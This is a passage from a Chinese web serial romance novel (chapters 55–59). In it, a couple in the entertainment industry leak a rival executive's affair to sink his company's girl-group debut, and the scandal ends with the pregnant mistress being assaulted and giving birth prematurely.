而这个潘鹂明显是知三当三,别跟他说孩子是无辜的,他愿意养许稚舒,是因为许稚舒的母亲跟他母亲一样无辜。可潘鹂并不是这个情况,等孩子生下来还不知道杨家的财产要怎么折腾。他可以接受自己最后拿到的杨家的资产缩水,但不能接受小三的孩子分他应得的钱。 “这事我觉得你和袁姨了解清楚就行了,最好不要自己参与。毕竟她怀着孕,看起来杨立致宝贝得紧。万一出点什么问题赖到你们头上,不值当。”许稚舒提醒杨观。 杨观笑说:“你放心,我也不想脏了自己的手。再说,眼下这个情况,要闹也轮不上我。” 是的,还有杨阅和他母亲呢。 路煌把路千瑗送回路家,原本是想叮嘱路千瑗几句就走的,结果家里的佣人小跑过来,请路煌进去,说夫人叫他。 严妙今天没有应酬,回家比较早。她早就想找个时间跟路煌聊聊了,只不过一直没得空,今天正好。 “妈。”路煌从跟爷爷大吵过后,就没有再回过这里了,即便爷爷奶奶已经搬去了乐湾山,可这里对路煌来说依旧是爷爷奶奶的家,他踏入这里,就像是意味着妥协。为了避免这样的误会,他每次送路千瑗回来,都只到大门口。 今天他母亲叫他进去,他知道肯定不是劝他妥协的,否则参加路千瑗毕业典礼的时候就会提。既然当时没说,现在就更没有理由说了。 “爸不在啊?”路煌的态度还是很从容的。 路千瑗没有打扰严妙和路煌说话,上楼洗漱去了。 “还在公司忙呢。”严妙指了指沙发,说,“坐。” 路煌依言坐下,心里挂念着许稚舒有事还没跟他讲,便说:“妈,你有什么话就直说吧。” 严妙皱了皱眉:“跟我多说会儿话也不乐意了?” “不是。”路煌赶忙否认,“我是还有别的事呢。” 严妙脸色好一些,没具体问是什么事,她知道路煌也忙:“你和许稚舒过得还行?” “可好了。”许稚舒笑道。 “我和你爸都有关注初黎的发展,抛开你的工作能力不谈,许稚舒的确是个非常有才华的孩子。我和你爸觉得既然你们两情相悦,目前看磨合得又不错,在事业上也能相互帮助,我们也没有反对的理由了。”严妙这是首次向路煌表明态度。 路煌并没有因为这样就惊喜到忘乎所以,越是这个时候,他反而越理性:“妈,你们不会是觉得他现在人红能力强,才想认可他吧?” 严妙并不否认:“这本来就是优点,当初你大嫂进门,我和你爸除了看她和你大哥感情好之外,也是知道她工作能力不差。你妈我从来就不喜欢菟丝花一样的孩子进家门。” “话是这么说,但未免太功利了吧?”路煌是习惯了,但这个理由说些许稚舒听,他怕许稚舒会不喜欢。 “我跟你们说过,说一个人有能力、有价值,并不是贬义词。往往越是这样的人,越能得到更多。”严妙考虑了一下自己的用词,又说,“当然了,当着你的面我是这样说,但如果是当着许稚舒的面,我肯定不会这样讲。我可不想当个讨人嫌的妈妈。” 路煌笑起来:“就我个人而言,我很感谢你和爸愿意认可他。但在全家人都认可他之前,我不会带他回来的。我不希望他受到一点伤害。所以感谢归感谢,等什么时候爷爷那边也同意了,再说下一步的话吧。”—— 作者有话说:感谢支持! 第56章 路煌表明了态度, 相信母亲也会把他的意思传达给父亲。 严妙劝道:“这事急不来,虽然说这段时间你爷爷没提你的事,看起来态度有些松动, 可毕竟到了他这个年岁, 你想让他按年轻人的思想想问题,很不现实。” “我知道, 我不急。”路煌笑了笑, “我会按自己的节奏跟稚舒相处,到了哪一步,该做什么事,我心里有自己的打算。到时候就算家里不同意,我也不会改。毕竟未来是我跟他两个人一起生活。” 严妙皱了皱眉,路煌的话说得隐晦, 但她明白路煌要表达的意思,也就是说有一天他想跟许稚舒举办婚礼了, 哪怕国内并不认可同性婚姻,他也会按自己的意思去国外办。至于那时家里同不同意, 都不在他的考量范围内。 “不论你做什么决定, 好歹得和家里说一声。”这是严妙的要求。 “如果我确定不会被打扰,会跟你们讲的。”路煌没有妥协,他拒绝一切对许稚舒造成伤害的可能。 严妙叹气, 路煌的犟劲儿要是上来了, 谁也说不动:“不知道你看出来没有,现在你爷爷有意培养千瑗。原本因为她是女孩儿,你爷爷捧在手里都怕摔,不愿意让她吃工作的苦,甚至她结不结婚你爷爷都不强求, 怕她吃婚姻的苦。现在你和你大哥都靠不上,你爷爷就只能把指望放千瑗身上了。” 路煌不是没有过这样的猜测,只是大哥没提,他就没多问。 “万一千瑗也叛逆呢?”路煌玩笑着问。 “目前看不至于,你妹妹比咱们预想的更有担当,也更有能力。只不过以前家里从没要求过她,她就没有把这方面的能力展示出来。现在她抱怨归抱怨,可交给她的工作都完成的很好,你爸也说他要是想退休,还真就只能指望闺女了。”严妙说到路千瑗近来的表现,不由地感到骄傲。 “也好。现在家族企业由女性继承的已经比以前多了,如果千瑗有这个能力,又愿意,我肯定没意见。”路煌想了想,又说,“说句自私的话,以后千瑗结婚生子,由她的孩子继承路家的家业,我也觉得很好,我和大哥也都会觉得轻松一些。” 这些都是后话了,现在只能走一步看一步。只不过如果按路煌想的这条路走,那路千瑗的另一半是什么样的,家里肯定得把关,至少人品肯定得好,且家里得没有复杂的亲戚关系。倒插门的女婿整垮家业的例子,他们这个圈子可不少。 “千瑗是个有心的孩子,估计也是知道家里这个情况,才愿意顶着这么大的压力去公司上班。”对于自己这三个孩子的品性,严妙是完全可以自信地说绝对都是好的。与别家那种争得头破血流,或者表面一套背后一套的,完全不一样。而且有路煊和路煊守着路千瑗,她实在没什么好担心的。 “我知道。”路煌认同。他这个妹妹在家里的存在感并不高,但最能协调、和睦家里的却是她。女孩是贴心小棉袄这个形容在路千瑗身上正合适。 和母亲聊完,路煌就赶着回到了许稚舒的房子。 许稚舒澡还没洗,站在客厅的落地窗前,手里端着杯水。 路煌走过去,随手拿走他手里的水杯放到一边,水已经完全冷掉了,不知道许稚舒在这儿站了多久:“发生什么事了?” 许稚舒想得很多,但并没有什么情绪波动,平静地把看到杨立致和潘鹂的事跟他说了。 “这可比我预想的进展快多了。”话是这么说着,可路煌语气里丝毫没有意外,就仿佛是早晚的事。 “这些年杨立致没再闹出婚变,我以为他年纪大了就消停了,没想到还真让你说对了。”冲击算不上,只是真细分析下来,许稚舒觉得他能做的事还真不少,而这些事都能达到让杨立致不好过的效果。 “我会让人去查一下潘鹂的情况,说不定能挖出一些内幕。就算没有内幕,只要消息散出去,杨阅就不可能不闹。”路煌扬了扬嘴角,杨阅干的那些针对许稚舒的事,即便后续许稚舒都解决得很干净,他也不会忘记许稚舒受了欺负,这笔账还是得算的。 许稚舒笑道:“接下来应该很有意思,就看杨家到底保谁了。反正不管保谁,都是输。” 如果杨立致保纬弦和现任妻子这边,潘鹂肯定不能干,毕竟那么大月份了,能隐忍这么久,肯定得图点什么。而如果杨立致保潘鹂和尚未出世的孩子,那势必会造成严重的舆情,届时别说他手里的产业会被拖下水,杨阅准备推出的女团恐怕都没有未来,从而导致投入再次看不到回报,到时纬弦也保不住! “杨立致不是个蠢人,至少在为自己的利益计算时,他还挺聪明的。不知道这次是怎么了,像是突然脑子不够用了。”路煌不得不感叹。原本按他们的计划,等杨阅的新女团推出,杨阅是怎么搞许稚舒和To ver的,路煌这边肯定如法炮制地还回去,势必让纬弦赔得什么都不剩。只是万万没想到,居然出现了意外情况。 许稚舒:“我刚才也一直在想这个问题。我觉得很大的可能是他知道纬弦也好,他新创建的岸边传媒也好,近一年多的发展都差得没眼看。与其继续亏下去,不如找个机会全抛,以待来日找个机会重新进场。杨阅明显是养废了,根本不是管理公司这块料。杨立致还想维持住自己的风光,能靠谁?我大哥吗?更不可能了。所以潘鹂肚子里的孩子应该就是他的新指望了。” 知道了一个错误选项,现在又看到了新的希望,果断放弃错误选项,与沉没成本切割,反而是聪明的选择。 路煌也梳理明白了:“说得也是。不再管理纬弦后,他的存在感正在逐步下降。就算走到离婚那一步,只要对外做好宣传,说自己愿意把最大的利益纬弦娱乐交给前妻和杨阅,大众应该很快会觉得杨立致不算是个彻底的渣男,说不定还可以打造一个净身出户的假象。至于纬弦娱乐这个烂摊子,杨阅如果想继续经营,维持他现在的地位,就不可能对外说纬弦是个赔钱货。” 想到杨家人各有心思,又各有纠结,各有赔本,许稚舒的心情又好了不少。 路煌拉住许稚舒的手腕,笑说:“好了,别在他身上花费太多注意力,多看看我,等潘鹂那边我查清楚再跟你说。” 许稚舒失笑:“天天都看你,偶尔分散一下注意力,会让你显得更有魅力。” “真的?”路煌凑近,双手环上许稚舒的腰。 “假的。”许稚舒闹着捏了他的脸。 * 潘鹂那边的消息不是一时半会儿能查全的,许稚舒把注意力继续放在To ver身上。《随便聊会儿》To ver做嘉宾的那一期播出后,获得了非常不错的反响。 To ver能上单长清的节目,不用想也知道不是看许稚舒的面子就是看路煌的面子。原本单长清的粉丝并不看好这一期,路人粉也觉得To ver上单长清的节目,档次还是差了一些。 可节目播出后,大家发现这十个女孩非常真诚,她们会说自己的想法,不会像许多团队只会说些一听就很表面的漂亮话,没有可深度探讨的内容。女孩们也不会一味的说公司的好,会提出一些让自己困扰的点,比如训练强度大,对她们的体能是很大的考验;对艺人私生活要求很严格,禁止吸烟喝酒半夜外出;对她们私服的也有要求,不许穿露肤度太大的衣服…… 这些其实每个公司都会对艺人有类似的要求,这也是身为偶像要有的职业操守。只不过很少有艺人会把这些拿到台面上说。现在To ver拿出来讲,就显得很真性情。 总之在节目播出之后,To ver就接到了她们的第一支广告邀请,虽然是个国产的彩妆品牌,但品牌的国民度很高,产品做得也好,双方很快就进入了合同的商谈阶段。 衣帽间里,许稚舒正在收拾行李。和品牌的圣诞合作已经签约,他要到国外拍摄广告。 路煌站在衣帽间门口,一脸不爽。许稚舒的代言签得很临时,他根本没办法空出时间来跟着一起去,想到自己要独守空房一周,就打心底很抗拒。 “换个表情。”许稚舒笑着对他说。 “我已经宕机了,没别的表情。”路煌幼稚地道。 “这次他们给的代言费很可观,回来可以开始着手给你买圣诞礼物了。”许稚舒没料到对方给的条件这么好,他之前并没跟这个品牌合作过,不过他也总结出了一点,就是名气在这个圈子里的确是个好东西,能让合作变得顺畅又简单。 “我尽量安排时间去找你。”即便这个希望很渺茫,可如果不尽量试试,路煌会觉得等待的时间格外漫长。 许稚舒一边收行李一边道:“你有更重要的事要做。我出差这一周杨阅手里的女团正好要出道。你找个机会帮我把消息放出去。到时候我人在国外忙,以杨阅的脑子,应该怀疑不到我身上。” 虽然现在网络发达,即便在国外也能安排各种事,但避嫌还是有必要的。至少表面得做得干净,以免杨阅气成疯狗乱咬人,让他跟杨家沾上关系,他会觉得恶心—— 作者有话说:感谢支持! 第57章 许稚舒出发去工作, 路煌并没有预想中的清闲,之后的事情他还得安排的周密一些,哪怕杨阅猜出是他这边放出的消息, 也得给他把这个哑巴亏咽下去。 其实以路家的体量, 就算是硬要把杨家压到查无此人,也不是不行。只不过仗势欺人这种事, 对路煌来说, 为了许稚舒,是没有不可以的。可这样也容易造成不明真相的企业和家族的恐慌,对路家及他和许稚舒的未来是不利的。所以麻烦就麻烦一些,总要为长远计。 许稚舒倒是挺自在,出差时间为一周,可实际拍摄只需要两天, 但主办人很大方,一周的机酒全包, 还送了许稚舒不少品牌新品作为礼物,可见对这次合作的重视。 许稚舒恍然又回到了在团的时候, 那个时候Infinite到哪儿都是这样的待遇, 只不过一年多没有体验到,许稚舒的记忆已经开始模糊了。 在飞机上时,许稚舒就已经计划好了这些天的行程。别的都是次要的, 主要是他想给路煌买圣诞礼物。而让他喜悦的是, 开往酒店的这一路上,圣诞气氛已经有了,虽然还没到大面积装饰的时候,可街边的小店里已经开始售卖圣诞相关的装饰了,在这样的气氛的烘托下, 会激起消费的冲动,同时也能获得一定的购物满足感。许稚舒不讨厌购物带来的满足感,哪怕它是短暂的,可快乐本就难得,在经济允许的情况下,就没必要纠结它的高低了。 纬弦新女团出道这天,纬弦内部所有相关工作人员严阵以待,等热搜,等榜单,同时也要开始准备发大量的宣传稿,尽可能多地把路人拉进来听歌,从而提高收听量。数据的确可以刷,但刷出来的东西只能带来一时的好看,带不来长久的收益,尤其是对现在亏损的纬弦娱乐来说,尽可能地拉入真人粉才能盘活现在的局面。 新歌发布一个小时后,之前买的水军、音乐评论博主等都已经发力完一轮了。就在数据看着要有起色之际,Serein的粉丝最先跳出来表示抵制,认为纬弦是拿着Serein赚的钱去养新女团,否则现在应该是Serein的回归期,粉丝要求纬弦给出说法。 纬弦肯定不能说自己赔本,这会打击市场对它的信心。可又不能曝光财务,来证明推新女团用的并不是Serein赚的钱。所以这件事只能沉默以对,可面对大量抵制新女团的评论,杨阅气得直接吼了宣传部的老大。 而这之后没出半个小时,#纬弦老板杨立致出轨#的词条空降热搜! 【什么情况?纬弦推出女团的同一天,老板出轨被曝了?】 【连孩子都有了?潘鹂够厉害的,在圈里没混进一线,另辟蹊径要当资本了。】 【肚子这么大了,是快生了吧?拍得很真清楚啊,想否认都不行。】 【等等,纬弦老板不是杨阅吗?】 【杨阅是杨立致的儿子,现在纬弦归杨阅管,但也只是给了管理权,公司本身还是属于杨立致的。】 【哈哈哈,小杨总之前这么蹦跶,不知道对自己父亲出轨一事能不能激情输出啊。】 【潘鹂这是疯了吧?看似能上位,但名声臭了,富太太梦还能做下去?】 【信心满满地推新团,结果热度被自家老板截胡了,哈哈哈,这事闹的。】 【活该!我是不会给渣男的公司花钱的!】 此时,纬弦从宣传到公关全懵逼了!杨阅更是坐在椅子上半天没有缓过神,这是他完全没有料到的事,更没想到的是会是在今天被爆出来。 网上乱成了一锅粥,想抢流量的媒体都开始扒杨立致和潘鹂的过往,以及两个人是怎么勾搭上的。而胆子大一点的,就冲到纬弦娱乐、岸边传媒和杨家门口蹲守,希望能拍到当事人或者杨夫人、杨阅都可以。 路煌喝着咖啡靠在椅子上,看着网上的舆论。其实最开始拱火Serein不会归,用他们赚的钱推新女团也是路煌的策略。 毕竟并不是所有人都认得杨立致,和杨立致比起来,更多人知道的可能是纬弦娱乐,再进一步就是它旗下的艺人们。所以为了吸引更多人的注意力,用Serein来引流是最好的。 当大家开始把新女团、纬弦和Serein绑定成为一个整体,且通过热搜有了印象和概念后,再把杨立致拉出来,这个热度不就接上了吗? 加上纬弦今天拼命推新女团,宣传稿买了一大堆,这些都会成为咬上杨立致的犬齿,所有推荐新女团的博主的评论区多少都会出现杨立致的名字,就算没有,路煌也会让他有,对杨立致出轨的宣传效果也就跟着拉满了。 路煌看了一眼时间,因为时差的关系,这个时间许稚舒应该还没醒。路煌也不准备跟他细说,许稚舒只要知道结果就行,越少让许稚舒听到杨立致的名字,许稚舒就越不容易有情绪。 其实路煌这边还扒出了不少料,比如潘鹂和杨立致认识的过程。其实这两个人在一起已经五年了,当时是在一个富商的饭局上。说是饭局,其实也找了不少明星来作陪,其中的声色犬马懂的都懂。潘鹂在演艺事业上一直不温不火,她心里着急,又有野心,就想要走捷径。 两个人就这样认识了。杨立致并没给潘鹂多少资源,但对情人出手却相当大方。潘鹂没获得名,但物质条件却起飞了。看到身边的姐妹们辛苦拍戏,最后日子还没有她好过,她就生出了无限的优越感。 后来明星直播兴起,潘鹂因为没戏拍,就加入了直播的行列。不过她并不卖货,只是走知心姐姐的路线,分享自己的生活,打造出一个即便不用拍戏,生活也很好的富裕高端人设。再被媚富的人一捧,整个人就飘飘然了。 路煌估计就是从那时候起,潘鹂有了当“杨太太”的想法。说不定杨立致后面成立岸边传媒,也是听了潘鹂的意见。 还有件有趣的事,杨立致和潘鹂认识的那个饭局上,盖留娱乐的老板也参加了。估计盖留的老板也是看到了有明星作陪的饭局能达到什么样的效果,才会在后来走上心思不纯的违法道路。 许稚舒起床后悠然地拉开窗帘,将窗子打开,让新鲜空气可以涌进来。 随后打电话到前台点了早餐,然后开始洗漱。 他知道今天是纬弦新女团出道的日子,也知道路煌的计划,甚至要发出去的那两个人亲密而行的视频还是从他的行车记录仪上下载下来的。但他并没有打开微博查看,甚至是故意不看的。他只要一个不让杨立致好过的结果,过程他不关心,也不想看到杨立致的脸。 早餐送上来,许稚舒坐在窗边享用早餐,并随手把今天自己的行程发给了路煌。不是什么正规行程表,就是他想去的几家小店,明天他就回程了,今天要去的地方不多。 路煌从没要求过许稚舒得向他报备行程,是许稚舒自己这样做了,连带着这一周,路煌也会把自己的行程发给他。只不过跟许稚舒相比,路煌的行程就显得两点一线,单调许多,最多就是其中有一天跟路煊吃了个晚饭。 这是他母亲从小给他养成的习惯,出门要去哪儿,去多久,大概什么时候回来,他都会跟母亲讲。后来母亲不在了,他这个习惯就搁置了。直到这周,他又把这个自以为已经遗忘的习惯捡了回来。这对他来说不是麻烦,反而是家中有人会等着他的归属感。 知道他醒了,路煌很快发了视频通话过来。 许稚舒疑惑了片刻,这个时间路煌应该正在下班回家的路上,一般路煌会给他发一句语音,并不会跟他视频,以免影响到开车。 接通视频,许就看到路煌是坐在车子后排,看座椅并不是路煌上下班开的那辆:“今天没自己开车?” 路煌露出笑意:“记者现在满世界抓新闻,我不想掺和,今天坐公司新买的车回去,低调些。” 路煌通勤开的车目前车牌保密状态良好,但现在挖新闻的记者多起来,其他娱乐公司也会成为记者的目标,以防通勤车被发现,还是暂时换一辆更好。 不用他细说,许稚舒就能猜到是什么情况了。于是他笑问:“记者们的功力如何?查得快吗?” 路煌看着手机屏幕里气色很好的许稚舒,心情舒畅:“还差点意思,如果他们太慢,我还可以推一把。” 知道这些就够了,许稚舒不想破坏心情,便换了话题:“这边气温比源海市冷,让我看到那些暖和的东西就想买。今年冬天我想给客厅换个长毛的大地毯,在地毯上放上抱枕和矮木桌,茶几先收起来,到时候我们一起盖着毯子煮红酒,吃点心,看电影,想想就很好。” 路煌喜欢听许稚舒规划家里的布置,这才有生活的味道。冬季家里有地暖,坐在地毯上也不用担心会凉,而且换个布置,又能增添新鲜感。 “好,我来安排。” 许稚舒说:“地毯我已经看好了,今天准备去买,让店家帮忙邮回国内。木桌你来买吧,不要太大的,不然放我们两个中间,太碍事了。” “知道了,一定挑个合你意的。”因为有了生活的味道,就更像家了。路煌年初想的要买房子的计划也要着手开始选了,他想给许稚舒一个更好更舒适的家,一个真正意义上属于他们两个婚后的家—— 作者有话说:感谢支持! 第58章 许稚舒回来已经是国内时间半夜一点了。这个时间机场没有多少旅客, 在这儿过夜的基本都是等待明早转机的。 人少,有记者的概率微乎其微,对许稚舒来说是非常舒服的回程状态。他和乐言两个人不紧不慢地往停车场走。 因为他们回来的时间晚, 让人来接太熬人了, 所以许稚舒就安排李遥在下午将车子开过来停停车场里,就可以走了, 他这边带了备用的车钥匙, 到时候跟乐言一起开车回去就行。 以前许稚舒是不会去考虑出差后车子放哪儿的问题的,当时背靠公司,车子就是在停车场里放一周,他都不会在意停车费的问题。现在可不一样了,停车费都得计算着,这和有没有钱没有关系, 是一旦开始当老板,上心的东西就多了。 有的时候许稚舒也不禁觉得好笑, 看似省了的事其实未必真的省,可就是忍不住要算一算。路煌笑说这是刚开始自己创业的通病, 等干上一阵子, 觉得自己过得苦哈哈的,还要算计这些,关键是还没省下什么, 就懒得在意了。 “哥, 你饿不饿?”乐言问他。这家航空的飞机餐真的太难吃了,就算是头等舱也很难评。 通常这个时候,许稚舒是不可能吃东西的,不过考虑到时差,他回去未必能睡得着, 便道:“等进了市区去麦当劳买点吃的吧。” 这个时间也就只有二十四小时营业的快餐店能买到新鲜热乎的食物了,麦当劳就成了最优选。 “好呀,我要吃炸鸡!这几天牛排面包也没少吃,但就是觉得像没吃饭一样。”乐言是馋炸物了。 许稚舒笑他:“你别吃坏了肚子,给你的假期还不够你休养的。” 乐言跟着他去出差,周末两天的正常假期是要补给乐言的,还有两天的调时差假,可以让乐言在家休息四天。 “没办法,每次去国外,都要感慨国内美食天下无敌!” 两个人推着箱子走到停车场,晚上源海市还挺冷的,两个人不禁加快的脚步。在走到李瑶给他们发的停车位时,却发现车子是发动的状态。 他们疑惑地对视了一眼,应该不存在李瑶没熄火的可能性。乐言率先走过去,还没等他敲车门,车窗就降了下来,路煌微微扬起嘴角。 乐言立刻从疑惑转为愉快,转头冲着许稚舒道:“哥,是路哥!” 许稚舒没掩诧异,路煌开门下车,就看到许稚舒正歪头看他,像是脑子里充满疑惑的小猫,好奇又憨态。 路煌接过他手里的行李箱,自然地低头亲了他,浅浅的吻全是想念:“上车,外面冷。” “嗯。”许稚舒笑起来,抓了一下他的手,才上了车。 路煌帮他们把行李装好,乐言道:“路哥,我来开车吧。” 以前他都叫路煌二少,现在路煌和许稚舒的感情已经完全稳定了,他作为许稚舒的小跟班,改口叫得亲近些也可以。 “行。”看乐言精神不错,应该是一路睡回来的,让他开车的确更放心。 路煌跟着许稚舒坐到了后座,乐言上了驾驶位,车子开出停车场,目的地——麦当劳。 “这么晚你怎么还过来接了?李瑶不是下午就把车停好了吗?”许稚舒问。 “想早点见到你,我今天又没有别的安排,就去李瑶那儿拿了钥匙,打车过来的。”路煌如实说,从上了车,他就牵上了许稚舒的手,似乎只有这样,才能确认这个人回来了。 “这么折腾,不困?”许稚舒担心他,他们的作息现在已经比较健康了,这个时间绝大多数是已经睡下了。 “中午睡了个午觉。”就为了晚上能来接许稚舒。 许稚舒笑着把头靠在他肩膀上,路煌侧过脸亲了亲他的额头,眼里都是温柔。 “一直没问你,纬弦的破事没影响到初黎的艺人吧?”只要不提杨立致这个人,别的许稚舒还是乐意了解的。 “直接影响并没有,但间接影响还是有的。记者们挺给力,今天已经扒出潘鹂是怎么当上小三的。这下从潘鹂的那圈朋友开始,都成了记者的目标,她的朋友大多还是一直在拍戏的,如果这些人里也有知三当三的,那新的热点不就来了吗?”没让路煌再出手,记者们就这么给力,路煌是相当满意的,“不过也有记者觉得一线开外的艺人当三,热度不够炸裂,所以把目标放在了各公司的爱豆和年轻演员身上。Breeze和To ver今天下午有被记者跟车。我已经跟他们的经纪人说了,不需要甩车,安全开到目的地就行。” 身正不怕影子斜,放在娱乐圈其实也一样的。 “有点意思。”许稚舒并不急于知道杨阅和他母亲怎么应对,反正有确切地消息,杨观肯定会告诉他,“这回纬弦应该赔得底掉了吧?” 虽然新女团发歌才两天,但就现在大众的关注点来看,这绝对是一次失败的出道。想后续发力,就得歌曲足够给力。 “反正我是没想到杨阅还有什么机会挽救。之前纬弦音乐制作部的人在闹待遇,杨阅这次没用公司的音乐人,结果并没有打出漂亮的成绩,公司的音乐人估计又能找到继续闹的理由了。”路煌细琢磨了一下,补充道,“或许这次纬弦不辞退他们,他们也不会继续留了。音乐做得怎么样先不提,不能把自己留在一个不景气的公司里才是正经。” “说得也是。”想到能看着纬弦倒塌,许稚舒就觉得自己也应该吃些炸鸡庆祝一下。 车子开进市区,没多会儿就停到了一家麦当劳门口。 乐言问了许稚舒要吃什么,就愉快地跳下车去买了。 “大晚上的,不睡了?”路煌不会阻止许稚舒,只是问还是要问上一句的,也是担心许稚舒消化不良。 “我睡了一路,还要倒时差,今天你得自己睡了。”许稚舒笑说。 “不行,好不容易把你盼回来,我还自己睡?” “那你让我在床上坐到天亮?” 路煌寻思了一会儿,说:“在你客厅玩,我在客厅靠着你打地铺。” 许稚舒眼睛弯弯:“别闹,明天你还得上班。” “不去,在家陪你。”他知道许稚舒要倒时差,肯定不会上班。 “现在这个时候你不上班,公司万一有什么事,你都不能第一时间处理。”就算初黎没什么问题,也不能保证不出别的岔子。万一杨阅脑子不好用,想自救要拖别家下水,初黎就算不是第一人选,也肯定能排前三。 “我向公司请昏君假,反正我不去。”这一周路煌的确忙,但回家看不到许稚舒的心情也只有他自己明白。 许稚舒笑出声,不再提出异议:“那你就陪我倒时差吧。” 回到家,许稚舒原本是计划着泡个热水澡,然后找部电影边看边吃麦当劳,等有睡意了就小睡四五个小时,争取晚上能正常入睡。结果想得是挺好,路煌却用强闯浴室的行为告诉他下次别想了。 两个人在浴室胡闹了一通,最后许稚舒被路煌用大浴巾一裹,就给抱上了床。 被路煌精准把控得懒洋洋的许稚舒挨上枕头就睡了,这种释放后的放松带来的睡意跟困是两码事。加上时差还没调好,一个多小时后许稚舒就醒了。外面的天还没亮,路煌把他抱在怀里,皮肤相贴的温度有着冬季独有的干燥,舒适不黏腻,让人眷恋。 感受着路煌平稳的呼吸,许稚舒就这么躺着没有起来,即便现在他已经没有任何睡意了。如果是以前,他半夜醒了睡不着,一定会起来找些事做,可现在,他更想就这么跟路煌待在一起,不会觉得闷,也不会因为睡眠计划被打乱而烦心。他和路煌的爱情或许并不是美好爱情的模板,但他们都在用心经营。他们不需要成为别人羡慕的对象,也不需要编纂一个完美的爱情故事去诓骗别人,他们只需要彼此相依,过这种踏实又可信的日子,就已经是许稚舒曾经想都不敢想的完美了—— 作者有话说:感谢支持! 第59章 没有吃掉的麦当劳成了两个人的早餐, 空气炸锅与微波炉齐上阵,把凉透的食物的美味还原了百分之七十。 单人份的麦当劳肯定不够两个人吃,许稚舒又煮了面条, 放了许多蔬菜, 让营养均衡。 许稚舒不去看关于杨立致的消息,但路煌会看。尤其经过了一晚, 天知道会有什么精彩的事件。 原本以为今天应该会有更多关于潘鹂与杨立致关系的具体消息被扒出, 或者杨阅、杨阅的母亲得出来说几句,哪怕是卖惨博同情,都能让纬弦不至于倒太快。 结果路煌看到的热搜头条居然是#潘鹂可能早产#。 说是今天早上七点,有救护车进入了潘鹂所住的小区,这会儿正好是保安换班的时间,就有记者仗着自己身材矮小, 混了进去。拍到被救护车台出来的不是别人,正是潘鹂。 医院这个地方说保密也保密, 医生不会出卖病人的信息和隐私,可说没有秘密也的确就是没有, 医院人来来往的, 就没有一个时间段能正真意义上看不到一个人。潘鹂一个孕妇从救护车上下来,被一路推进医院,不可能没人注意到。加上这两天这位可是流量担当, 所以再小心, 她入院的照片也被传得满天飞了。 路煌正考虑着要不要跟许稚舒说,一早起来,两个人在床上又稍微温存了一下,许稚舒现在整个状态都很好,他不想破坏早上的美好。 可他不想没有用, 杨观那边电话已经打过来了。 许稚舒是很高兴接到杨观的电话的,而且知道内容多半是跟杨家有关。 “喂,哥?”许稚舒接了电话,并按了免提。 “醒了吗?还是没睡?”杨观知道许稚舒出国拍广告去了,也知道他回来得倒时差,如果不是有要紧的消息得跟许稚舒说,他不会现在打电话。 “睡醒了。”许稚舒笑道,随即问,“你去公司了吗?” “没有。我公司门口已经被记者围上了。”杨观语气都是无奈。 许稚舒这才意识到这事杨观的确也会成为被记者着重“关照”的对象,毕竟就算杨立致和前妻离了,杨观也还是杨立致的儿子。让这个儿子评级父亲,说不定话说得能更难听,这热度可不比追潘鹂那边的小。 “影响到你工作了吧?”许稚舒突然觉得这事的曝光时机有点考虑不周了,现在杨观正处在拿地的阶段呢。 杨观倒是很轻松:“不影响,都准备好了,就等着去谈了。” 他下手快,目前那块地还没有人看好,其实是非常容易拿的,只不过程序还得走一套,费些时间而已。 “那就好,我可不想耽误你赚钱。”许稚舒笑说。 “耽误不了,等过年给你包个大红包。” 许稚舒不跟他客气,直接应了。 杨观这才说起正事:“你看到消息没?潘鹂生了。” 许稚舒惊讶地道:“这么快?已经足月了吗?” 他这话问的显然是没看热搜了。 于是杨观跟他说起了解到的情况:“这些天杨阅的母亲一直在找潘鹂,杨阅都这么大了,我爸居然出轨了,她肯定咽不下这口气。今天一早也不知道是从哪儿得知的消息,就找到潘鹂的住处了。 “为了避风头,我爸这昨天没在潘鹂那里住,说是待酒店里了。结果杨阅的母亲进门就把潘鹂打了,连个能阻拦的人都没有,潘鹂住处的保姆被杨阅母亲带去的亲戚制住,没能帮上忙。然后潘鹂就腹痛被拉去了医院,紧急剖腹产生了个男孩儿。杨家那边传来的消息,说孩子只有八个月,加上杨阅的母亲在潘鹂家一顿打砸,应拖了好长时间保姆才有机会叫救护车,孩子生下来情况就不太好,现在在保温箱里待着。 “不过我爸应该还不至于拿不出保温箱的钱,就这么养着吧。” 说他冷漠也好,不懂女性生育的痛苦也好,总之杨观并不同情潘鹂,也不同情那个孩子。 “闹这么大?”杨阅的母亲闹上门是许稚舒完全没想到的,他原本以为以杨阅母亲这些年的阅历,应该想办法把更多的财产划到自己或者杨阅名下,到时候不管是离婚还是不离,杨立致的产业是不是会倒台,她最起码能给自己一个保障。 可万万没想到,她不仅没把自己摘出来,反而把自己陷进去了。许稚舒真是想不明白当了这么多年杨夫人,怎么可以一点脑子不长?不过话又说回来,能生出杨阅这个脑子不好使的,在杨立致脑子还比较好使的前提下,杨阅是遗传了谁就显而易见了。 “是啊,就连我妈都没想到,今天我妈连姐妹的午饭局都改晚饭了,正坐在沙发上刷手机看热闹呢。”从跟父亲离婚,杨观觉得自己的母亲性格就越来越像少女了,喜欢赶热闹,网上的八卦也肯定是吃第一手的瓜。现在他也长大了,他母亲就更没有压力了,每天都很开心。 “等潘鹂休养好了,应该会告杨阅的母亲吧?”这毕竟涉及到人身伤害了。 “不知道。就算她想,我爸可能也不想再给媒体供新闻了,早点把事平了,或许对他更有利。毕竟就我爸的风格,手里说不定有什么我们都不知道的脏事,继续闹对他没好处。”杨观不是恶意揣测,而是人在商场,见到的远比普通人预想到的更乱。哪个圈子都一样,不是圈子的问题,是人的问题。人在有了钱后都会飘,这就是人性,只不过人品好的飘起来不会有大动作,就是自己带着身边的人兴奋一阵子就落地了。而要是那些人品不佳的,就会开始想要以钱压人,自以为是,将自己的恶彻底展现出来。 “杨阅那边有动作吗?”许稚舒问,杨观到现在都没提杨阅。 “听家里的佣人说,天天在家待着,连公司都不去了,谁的电话都不接,饭都是给他送上楼的。”杨观再次觉得杨阅无能,都到了这一步了,无论怎么样,当缩头乌龟都是最不应该的。 许稚舒嘲讽道:“他真行,当老板的时候颐指气使,遇上事了就躲在后面当鸵鸟。” “意料之中。我这边再有新消息再给你打电话。”杨观还有工作,事情说完了就去忙了。 结束通话,许稚舒才打开热搜,关注起了事态地走向。 潘鹂生子的消息肯定是瞒不住了,至于孩子现在什么情况,外界并没有报,算是还有点职业道德。倒是潘鹂的“好友”跳出来表示,潘鹂早产是因为杨夫人打了她。 